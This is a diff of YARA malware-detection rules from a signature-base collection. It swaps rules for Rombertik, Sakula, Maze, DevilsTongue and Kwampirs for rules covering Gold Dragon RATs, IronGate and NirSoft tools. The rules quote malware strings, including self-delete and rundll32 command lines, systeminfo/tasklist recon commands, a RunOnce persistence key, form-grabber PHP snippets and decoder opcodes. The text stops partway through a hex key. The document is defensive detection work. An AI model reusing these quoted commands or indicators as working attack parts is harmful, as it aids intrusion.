-		$s13 = "`ip` text NOT NULL," fullword ascii
+		$s1 = "C:\\file.exe" fullword wide
+		$s2 = "new.exe" fullword wide
+		$s3 = "passwordIterations" fullword ascii
+		$op0 = { 10 00 12 00 1a 00 05 00 01 00 01 00 01 00 10 00 }
+		$op1 = { 41 32 00 36 00 62 00 34 00 32 00 65 00 37 00 62 }
+		$op2 = { 3c 4d 6f 64 75 6c 65 3e 00 6e 65 77 2e 65 78 65 }
 
 	condition:
-		filesize <3KB and all of them
+		uint16(0)==0x5a4d and filesize <1000KB and ( all of ($s*) or all of ($op*))
 }
-rule SIGNATURE_BASE_Rombertik_Carbongrabber_Panel : FILE
+rule SIGNATURE_BASE_Unspecified_Malware_Oct16_E : FILE
 {
 	meta:
-		description = "Detects CarbonGrabber alias Rombertik Panel - file index.php"
+		description = "Detects unspecified Malware - October 2016"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f6c04e27-bbab-5012-a4f9-71d49d252b83"
-		date = "2015-05-05"
+		id = "fffffe0c-e114-5648-96ea-dd692610e34c"
+		date = "2016-10-08"
 		modified = "2023-12-05"
-		reference = "http://blogs.cisco.com/security/talos/rombertik"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_rombertik_carbongrabber.yar#L55-L73"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e6e9e4fc3772ff33bbeeda51f217e9149db60082"
-		logic_hash = "8b7fde3c3894b7aa83e05f6a1b820195276f8738fde218485c0465afaed88427"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_malware_set_oct16.yar#L152-L167"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2040a8cee840560a5aa6065df17206c0313d85b2d11ce482baab05c492360f35"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "28093385130b61f22920c0ce6e56de1f2cd8eef589bebe2af31f36f51f2b4d01"
 
 	strings:
-		$s0 = "echo '<meta http-equiv=\"refresh\" content=\"0;url=index.php?a=login\">';" fullword ascii
-		$s1 = "echo '<meta http-equiv=\"refresh\" content=\"2;url='.$website.'/index.php?a=login" ascii
-		$s2 = "header(\"location: $website/index.php?a=login\");" fullword ascii
-		$s3 = "$insertLogSQL -> execute(array(':id' => NULL, ':ip' => $ip, ':name' => $name, ':" ascii
-		$s16 = "if($_POST['username'] == $username && $_POST['password'] == $password){" fullword ascii
-		$s17 = "$SQL = $db -> prepare(\"TRUNCATE TABLE `logs`\");" fullword ascii
+		$s1 = "P3pORt" fullword ascii
+		$s2 = "msdownld.tmp" fullword ascii
+		$s3 = "TMP4351$.TMP" fullword ascii
 
 	condition:
-		filesize <46KB and all of them
+		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
 }
-rule SIGNATURE_BASE_Rombertik_Carbongrabber_Builder : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Golddragon_Malware_Feb18_1 : FILE
 {
 	meta:
-		description = "Detects CarbonGrabber alias Rombertik Builder - file Builder.exe"
+		description = "Detects malware from Gold Dragon report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3233c139-ac06-576c-9870-51306d5aa385"
-		date = "2015-05-05"
+		id = "1da29f0f-4e83-56a0-b843-3b19d9b9a1b7"
+		date = "2018-02-03"
 		modified = "2023-12-05"
-		reference = "http://blogs.cisco.com/security/talos/rombertik"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_rombertik_carbongrabber.yar#L75-L92"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b50ecc0ba3d6ec19b53efe505d14276e9e71285f"
-		logic_hash = "e9d13913ee03926920eba33a4dac2a6e9aeaaa54949c5bfea8dd956cf233abae"
-		score = 75
+		reference = "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_golddragon.yar#L13-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "873cf7aa18027615fe8c44140879811254229a238f7d426144fb7c1a6e07ea74"
+		score = 90
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
-	strings:
-		$s0 = "c:\\users\\iden\\documents\\visual studio 2010\\Projects\\FormGrabberBuilderC++" ascii
-		$s1 = "Host(www.panel.com): " fullword ascii
-		$s2 = "Path(/form/index.php?a=insert): " fullword ascii
-		$s3 = "FileName: " fullword ascii
-		$s4 = "~Rich8" fullword ascii
-
 	condition:
-		uint16(0)==0x5a4d and filesize <35KB and all of them
+		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="168c2f7752511dfd263a83d5d08a90db" or pe.imphash()=="0606858bdeb129de33a2b095d7806e74" or pe.imphash()=="51d992f5b9e01533eb1356323ed1cb0f" or pe.imphash()=="bb801224abd8562f9ee8fb261b75e32a")
 }
-rule SIGNATURE_BASE_Rombertik_Carbongrabber_Builder_Server : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Golddragon_Aux_File : FILE
 {
 	meta:
-		description = "Detects CarbonGrabber alias Rombertik Builder Server - file Server.exe"
+		description = "Detects export from Gold Dragon - February 2018"
 		author = "Florian Roth (Nextron Systems)"
-		id = "742003a2-3716-5ad9-a720-b9e2be71554a"
-		date = "2015-05-05"
+		id = "8f23dec4-e369-500f-a036-32df13e5543e"
+		date = "2018-02-03"
 		modified = "2023-12-05"
-		reference = "http://blogs.cisco.com/security/talos/rombertik"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_rombertik_carbongrabber.yar#L94-L117"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "895fab8d55882eac51d4b27a188aa67205ff0ae5"
-		logic_hash = "693c92128166c72aded066fa66eef906a9f6027c65b889f3a487a38382f29982"
-		score = 75
+		reference = "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_golddragon.yar#L31-L44"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4c5eb04cdafe3a69e584c64b833d8c6d21890660e92cc050bb29798dbcdf5326"
+		score = 90
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "C:\\WINDOWS\\system32\\svchost.exe" fullword ascii
-		$s3 = "Software\\Microsoft\\Windows\\Currentversion\\RunOnce" fullword ascii
-		$s4 = "chrome.exe" fullword ascii
-		$s5 = "firefox.exe" fullword ascii
-		$s6 = "chrome.dll" fullword ascii
-		$s7 = "@KERNEL32.DLL" fullword wide
-		$s8 = "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome" ascii
-		$s10 = "&post=" fullword ascii
-		$s11 = "&host=" fullword ascii
-		$s12 = "Ws2_32.dll" fullword ascii
-		$s16 = "&browser=" fullword ascii
+		$x1 = "/////////////////////regkeyenum////////////" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <250KB and 8 of them
+		filesize <500KB and 1 of them
 }
-rule SIGNATURE_BASE_Malware_Sakula_Xorloop : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Golddragon_Ghost419_RAT : FILE
 {
 	meta:
-		description = "XOR loops from Sakula malware"
-		author = "David Cannings"
-		id = "9349b7e4-560c-5d8b-94d9-cbb9fd09e132"
-		date = "2016-06-13"
-		modified = "2023-01-27"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sakula.yar#L1-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fc6497fe708dbda9355139721b6181e7"
-		logic_hash = "b3c3131693e18ce2cf26786a93b61d39d90703d8c827de1340f85377fe7b59de"
+		description = "Detects Ghost419 RAT from Gold Dragon report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8ac951d5-4a18-50c5-8ded-8a0a6b585fd6"
+		date = "2018-02-03"
+		modified = "2023-01-06"
+		reference = "https://goo.gl/rW1yvZ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_golddragon.yar#L46-L86"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b953c5e21c332add4ff3b8fef9d623904eb929b0e7fc86e6c7109cd81bc3819b"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "45bfa1327c2c0118c152c7192ada429c6d4ae03b8164ebe36ab5ba9a84f5d7aa"
+		hash2 = "ee7a9a7589cbbcac8b6bf1a3d9c5d1c1ada98e68ac2f43ff93f768661b7e4a85"
+		hash3 = "dee482e5f461a8e531a6a7ea4728535aafdc4941a8939bc3c55f6cb28c46ad3d"
+		hash4 = "2df9e274ce0e71964aca4183cec01fb63566a907981a9e7384c0d73f86578fe4"
+		hash5 = "111ab6aa14ef1f8359c59b43778b76c7be5ca72dc1372a3603cd5814bfb2850d"
+		hash6 = "0ca12b78644f7e4141083dbb850acbacbebfd3cfa17a4849db844e3f7ef1bee5"
+		hash7 = "ae1b32aac4d8a35e2c62e334b794373c7457ebfaaab5e5e8e46f3928af07cde4"
+		hash8 = "c54837d0b856205bd4ae01887aae9178f55f16e0e1a1e1ff59bd18dbc8a3dd82"
+		hash9 = "db350bb43179f2a43a1330d82f3afeb900db5ff5094c2364d0767a3e6b97c854"
 
 	strings:
-		$opcodes_decode_loop01 = { 31 C0 8A 04 0B 3C 00 74 09 38 D0 74 05 30 D0 88 04 0B }
-		$opcodes_decode_loop02 = { 8B 45 08 8D 0C 02 8A 01 84 C0 74 08 3C ?? 74 04 34 ?? 88 01 }
+		$x2 = "WebKitFormBoundarywhpFxMBe19cSjFnG" ascii
+		$x3 = "\\Microsoft\\HNC\\" ascii
+		$x4 = "\\anternet abplorer" ascii
+		$x5 = "%s\\abxplore.exe" fullword ascii
+		$x6 = "GHOST419" fullword ascii
+		$x7 = "I,m Online. %04d - %02d - %02d - %02d - %02d" fullword ascii
+		$x8 = "//////////////////////////regkeyenum//////////////" ascii
+		$s0 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)" fullword ascii
+		$s1 = "www.GoldDragon.com" fullword ascii
+		$s2 = "/c systeminfo >> %s" fullword ascii
+		$s3 = "/c dir %s\\ >> %s" fullword ascii
+		$s4 = "DownLoading %02x, %02x, %02x" fullword ascii
+		$s5 = "Tran_dll.dll" fullword ascii
+		$s6 = "MpCmdRunkr.dll" fullword ascii
+		$s7 = "MpCmdRun.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and any of ($opcodes*)
+		uint16(0)==0x5a4d and filesize <600KB and ((pe.exports("ExportFunction") and pe.number_of_exports==1) or (1 of ($x*) and 1 of ($s*)) or 3 of them )
 }
-rule SIGNATURE_BASE_Malware_Sakula_Memory
+import "pe"
+
+rule SIGNATURE_BASE_Golddragon_Runningrat : FILE
 {
 	meta:
-		description = "Sakula malware - strings after unpacking (memory rule)"
-		author = "David Cannings"
-		id = "328e3707-d11d-5b7f-bec4-18a42a2c658b"
-		date = "2023-12-05"
+		description = "Detects Running RAT from Gold Dragon report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7de93103-46a5-5aba-90cf-26735a6a580e"
+		date = "2018-02-03"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sakula.yar#L20-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b3852b9e7f2b8954be447121bb6b65c3"
-		logic_hash = "ba6d93a1fc5fd81748eb462fc55b681987126ba853ddb677a5f1f9b74ba5cde8"
+		reference = "https://goo.gl/rW1yvZ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_golddragon.yar#L88-L128"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "02b0ac613bb01cb5bbe947661880070790bbb7c6ba9925e70bc200df34747a0b"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0852f2c5741997d8899a34bb95c349d7a9fb7277cd0910656c3ce37a6f11cb88"
+		hash2 = "2981e1a1b3c395cee6e4b9e6c46d062cf6130546b04401d724750e4c8382c863"
+		hash3 = "7aa99ebc49a130f07304ed25655862a04cc20cb59d129e1416a7dfa04f7d3e51"
 
 	strings:
-		$str01 = "cmd.exe /c ping 127.0.0.1 & del \"%s\""
-		$str02 = "cmd.exe /c rundll32 \"%s\" Play \"%s\""
-		$str03 = "Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+5.1;+SV1)"
-		$str04 = "cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c \"%s\""
-		$str05 = "Self Process Id:%d"
-		$str06 = "%d_%d_%d_%s"
-		$str07 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"
-		$str08 = "cmd.exe /c rundll32 \"%s\" ActiveQvaw \"%s\""
-		$opcodes01 = { 83 F9 00 74 0E 31 C0 8A 03 D0 C0 34 ?? 88 03 49 43 EB ED }
-		$opcodes02 = { 31 C0 8A 04 13 32 01 83 F8 00 75 0E 83 FA 00 74 04 49 4A }
+		$x1 = "C:\\USERS\\WIN7_x64\\result.log" fullword wide
+		$x2 = "rundll32.exe %s RunningRat" fullword ascii
+		$x3 = "SystemRat.dll" fullword ascii
+		$x4 = "rundll32.exe %s ExportFunction" fullword ascii
+		$x5 = "rundll32.exe \"%s\" RunningRat" fullword ascii
+		$x6 = "ixeorat.bin" fullword ascii
+		$x7 = "C:\\USERS\\Public\\result.log" fullword ascii
+		$a1 = "emanybtsohteg" fullword ascii
+		$a2 = "tekcosesolc" fullword ascii
+		$a3 = "emankcosteg" fullword ascii
+		$a4 = "emantsohteg" fullword ascii
+		$a5 = "tpokcostes" fullword ascii
+		$a6 = "putratSASW" fullword ascii
+		$s1 = "ParentDll.dll" fullword ascii
+		$s2 = "MR - Already Existed" fullword ascii
+		$s3 = "MR First Started, Registed OK!" fullword ascii
+		$s4 = "RM-M : LoadResource OK!" fullword ascii
+		$s5 = "D:\\result.log" fullword ascii
 
 	condition:
-		4 of them
+		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="c78ccc8f02286648c4373d3bf03efc43" or pe.exports("RunningRat") or 1 of ($x*) or 5 of ($a*) or 3 of ($s*))
 }
-rule SIGNATURE_BASE_Malware_Sakula_Shellcode
+import "pe"
+
+rule SIGNATURE_BASE_Golddragon_Runnignrat : FILE
 {
 	meta:
-		description = "Sakula shellcode - taken from decoded setup.msi but may not be unique enough to identify Sakula"
-		author = "David Cannings"
-		id = "147e4894-7877-5367-9f6b-588eb7f0379a"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sakula.yar#L47-L80"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0e84d91cd1bb0455ac7d2ca78583510388f39cebd95523c5f6f173a50e0c1951"
+		description = "Detects Running RAT malware from Gold Dragon report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b99b89a4-a764-5d72-8360-8e53461267d9"
+		date = "2018-02-03"
+		modified = "2023-01-07"
+		reference = "https://goo.gl/rW1yvZ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_golddragon.yar#L130-L154"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5bcc2ebbd54c31cf418430149eb558e8e26355161d0b53f403e7dfd2e1707baa"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		hash1 = "94aa827a514d7aa70c404ec326edaaad4b2b738ffaea5a66c0c9f246738df579"
+		hash2 = "5cbc07895d099ce39a3142025c557b7fac41d79914535ab7ffc2094809f12a4b"
+		hash3 = "98ccf3a463b81a47fdf4275e228a8f2266e613e08baae8bdcd098e49851ed49a"
 
 	strings:
-		$opcodes01 = { 55 89 E5 E8 00 00 00 00 58 83 C0 06 C9 C3 }
-		$opcodes02 = { 8B 5E 3C 8B 5C 1E 78 8B 4C 1E 20 53 8B 5C 1E 24 01 F3 }
+		$s1 = "cmd.exe /c systeminfo " fullword ascii
+		$s2 = "ieproxy.dll" fullword ascii
+		$s3 = "taskkill /f /im daumcleaner.exe" fullword ascii
+		$s4 = "cmd.exe /c tasklist " fullword ascii
+		$s5 = "rundll32.exe \"%s\" Run" fullword ascii
+		$s6 = "Mozilla/5.0 (Windows NT 5.2; rv:12.0) Gecko/20100101 Firefox/12.0" fullword ascii
+		$s7 = "%s\\%s_%03d" fullword wide
+		$s8 = "\\PI_001.dat" ascii
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <3000KB and (3 of them )
 }
-rule SIGNATURE_BASE_Crime_Win32_Ransom_Maze_Dll_1 : FILE
+rule SIGNATURE_BASE_Irongate_APT_Step7Prosim_Gen : FILE
 {
 	meta:
-		description = "Detects Maze ransomware payload dll unpacked"
-		author = "@VK_Intel"
-		id = "873aea2b-2dd4-5682-b979-35e73fbc189f"
-		date = "2020-04-18"
+		description = "Detects IronGate APT Malware - Step7ProSim DLL"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a73cf9e2-c24f-5553-92e2-3a1a882a4a06"
+		date = "2016-06-04"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/VK_Intel/status/1251388507219726338"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_maze_ransomware.yar#L1-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5b76636c05141687fa5cc507ac67d6a5d1f6c89166fd302e94fe61b412451159"
-		score = 75
+		reference = "https://goo.gl/Mr6M2J"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irongate.yar#L10-L40"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "aab41ada32a8186f958baccad08b60ac1ab686f7561d4dd4471a1e88ddd53730"
+		score = 90
 		quality = 85
 		tags = "FILE"
-		tlp = "white"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0539af1a0cc7f231af8f135920a990321529479f6534c3b64e571d490e1514c3"
+		hash2 = "fa8400422f3161206814590768fc1a27cf6420fc5d322d52e82899ac9f49e14f"
+		hash3 = "5ab1672b15de9bda84298e0bb226265af09b70a9f0b26d6dfb7bdd6cbaed192d"
 
 	strings:
-		$str1 = "Maze Ransomware" wide
-		$str2 = "--logging" wide
-		$str3 = "DECRYPT-FILES.txt" wide
-		$tick_server_call = { ff ?? ?? 8b ?? ?? ?? ?? ?? ff d6 8b ?? 89 f9 50 ff ?? ?? ff d6 8d ?? ?? ?? 89 ?? ?? ?? 56 e8 ?? ?? ?? ?? 83 c4 04 b9 67 66 66 66 89 c5 f7 e9 89 d0 d1 fa c1 e8 1f 01 c2 8d ?? ?? 29 c5 56 e8 ?? ?? ?? ?? 83 c4 04 b9 56 55 55 55 89 c6 f7 e9 89 f9 89 d0 c1 e8 1f 01 d0 8d ?? ?? 29 c6 8b ?? 55 56 ff ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 89 ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 c5 50 ff d3 89 c6 ff ?? ?? ?? ff d3 8b ?? ?? ?? 01 f0 3d ff 03 00 00 0f ?? ?? ?? ?? ?? 55 ff ?? ?? ?? 68 a2 95 c3 00 53 ff ?? ?? ?? ?? ?? 83 c4 10 c6 ?? ?? ?? c6 ?? ?? ?? ?? }
+		$x1 = "\\obj\\Release\\Step7ProSim.pdb" ascii
+		$s1 = "Step7ProSim.Interfaces" fullword ascii
+		$s2 = "payloadExecutionTimeInMilliSeconds" fullword ascii
+		$s3 = "PackagingModule.Step7ProSim.dll" fullword wide
+		$s4 = "<KillProcess>b__0" fullword ascii
+		$s5 = "newDllFilename" fullword ascii
+		$s6 = "PackagingModule.exe" fullword wide
+		$s7 = "$863d8af0-cee6-4676-96ad-13e8540f4d47" fullword ascii
+		$s8 = "RunPlcSim" fullword ascii
+		$s9 = "$ccc64bc5-ef95-4217-adc4-5bf0d448c272" fullword ascii
+		$s10 = "InstallProxy" fullword ascii
+		$s11 = "DllProxyInstaller" fullword ascii
+		$s12 = "FindFileInDrive" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and 3 of them ) or all of them
+		( uint16(0)==0x5a4d and filesize <50KB and ($x1 or 3 of ($s*))) or (6 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Devilstongue_Hijackdll : FILE
+rule SIGNATURE_BASE_Irongate_Pyinstaller_Update_EXE : FILE
 {
 	meta:
-		description = "Detects SOURGUM's DevilsTongue hijack DLL"
-		author = "Microsoft Threat Intelligence Center (MSTIC)"
-		id = "390b8b73-6740-513d-8c70-c9002be0ce69"
-		date = "2021-07-15"
-		modified = "2023-12-05"
-		reference = "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_candiru.yar#L3-L47"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4ad58a77f9ab5fa078dc40f3ec1d0b0180f25ff3ea304a3c85889df29739e0f5"
-		score = 80
+		description = "Detects a PyInstaller file named update.exe as mentioned in the IronGate APT"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f8d1b97e-86d9-547f-a212-a84fb068af3c"
+		date = "2016-06-04"
+		modified = "2023-01-06"
+		reference = "https://goo.gl/Mr6M2J"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irongate.yar#L42-L62"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b55e02af900b3510743502bd72d5e14c9235985b5a7b05def0f5c462b28f2216"
+		score = 60
 		quality = 85
 		tags = "FILE"
+		hash1 = "2044712ceb99972d025716f0f16aa039550e22a63000d2885f7b7cd50f6834e0"
 
 	strings:
-		$str1 = "windows.old\\windows" wide
-		$str2 = "NtQueryInformationThread"
-		$str3 = "dbgHelp.dll" wide
-		$str4 = "StackWalk64"
-		$str5 = "ConvertSidToStringSidW"
-		$str6 = "S-1-5-18" wide
-		$str7 = "SMNew.dll"
-		$code1 = { B8 FF 15 00 00 66 39 41 FA 74 06 80 79 FB E8 }
-		$code2 = { 44 8B C0 B8 B5 81 4E 1B 41 F7 E8 C1 FA 05 8B CA C1 E9 1F 03 D1 69 CA 2C 01 00 00 44 2B C1 45 85 C0 7E 19 }
+		$s1 = "bpython27.dll" fullword ascii
+		$s5 = "%s%s.exe" fullword ascii
+		$s6 = "bupdate.exe.manifest" fullword ascii
+		$s9 = "bunicodedata.pyd" fullword ascii
+		$s11 = "distutils.sysconfig(" ascii
+		$s16 = "distutils.debug(" ascii
+		$s18 = "supdate" fullword ascii
 
 	condition:
-		filesize <800KB and uint16(0)==0x5A4D and (pe.characteristics&pe.DLL) and (4 of them or ($code1 and $code2) or pe.imphash()=="9a964e810949704ff7b4a393d9adda60")
+		uint16(0)==0x5a4d and all of them
 }
-rule SIGNATURE_BASE_MAL_Kwampirs_Apr18 : KWAMPIRS
+rule SIGNATURE_BASE_Nirsoft_Netresview : FILE
 {
 	meta:
-		description = "Kwampirs dropper and main payload components"
-		author = "Symantec"
-		id = "298e2868-e90e-55b4-9115-9f0b43521266"
-		date = "2018-04-23"
+		description = "Detects NirSoft NetResView - utility that displays the list of all network resources"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bf786432-3ecf-510e-8d95-50aff09826ce"
+		date = "2016-06-04"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_kwampirs.yar#L1-L70"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e9387c46b9e3fff90415c46af270d143bdeb6292f2521d889b8d6ae726a4cf3b"
-		score = 75
+		reference = "https://goo.gl/Mr6M2J"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irongate.yar#L67-L82"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "56c3c7a98bcefa609ee604ea0d7d3f4dd237d91a9439eeed66e0d6f3a20dfdd0"
+		score = 40
 		quality = 85
-		tags = "KWAMPIRS"
-		family = "Kwampirs"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "83f0352c14fa62ae159ab532d85a2b481900fed50d32cc757aa3f4ccf6a13bee"
 
 	strings:
-		$pubkey = {
-            06 02 00 00 00 A4 00 00 52 53 41 31 00 08 00 00
-            01 00 01 00 CD 74 15 BC 47 7E 0A 5E E4 35 22 A5
-            97 0C 65 BE E0 33 22 F2 94 9D F5 40 97 3C 53 F9
-            E4 7E DD 67 CF 5F 0A 5E F4 AD C9 CF 27 D3 E6 31
-            48 B8 00 32 1D BE 87 10 89 DA 8B 2F 21 B4 5D 0A
-            CD 43 D7 B4 75 C9 19 FE CC 88 4A 7B E9 1D 8C 11
-            56 A6 A7 21 D8 C6 82 94 C1 66 11 08 E6 99 2C 33
-            02 E2 3A 50 EA 58 D2 A7 36 EE 5A D6 8F 5D 5D D2
-            9E 04 24 4A CE 4C B6 91 C0 7A C9 5C E7 5F 51 28
-            4C 72 E1 60 AB 76 73 30 66 18 BE EC F3 99 5E 4B
-            4F 59 F5 56 AD 65 75 2B 8F 14 0C 0D 27 97 12 71
-            6B 49 08 84 61 1D 03 BA A5 42 92 F9 13 33 57 D9
-            59 B3 E4 05 F9 12 23 08 B3 50 9A DA 6E 79 02 36
-            EE CE 6D F3 7F 8B C9 BE 6A 7E BE 8F 85 B8 AA 82
-            C6 1E 14 C6 1A 28 29 59 C2 22 71 44 52 05 E5 E6
-            FE 58 80 6E D4 95 2D 57 CB 99 34 61 E9 E9 B3 3D
-            90 DC 6C 26 5D 70 B4 78 F9 5E C9 7D 59 10 61 DF
-            F7 E4 0C B3
-        }
-		$network_xor_key = {
-            B7 E9 F9 2D F8 3E 18 57 B9 18 2B 1F 5F D9 A5 38
-            C8 E7 67 E9 C6 62 9C 50 4E 8D 00 A6 59 F8 72 E0
-            91 42 FF 18 A6 D1 81 F2 2B C8 29 EB B9 87 6F 58
-            C2 C9 8E 75 3F 71 ED 07 D0 AC CE 28 A1 E7 B5 68
-            CD CF F1 D8 2B 26 5C 31 1E BC 52 7C 23 6C 3E 6B
-            8A 24 61 0A 17 6C E2 BB 1D 11 3B 79 E0 29 75 02
-            D9 25 31 5F 95 E7 28 28 26 2B 31 EC 4D B3 49 D9
-            62 F0 3E D4 89 E4 CC F8 02 41 CC 25 15 6E 63 1B
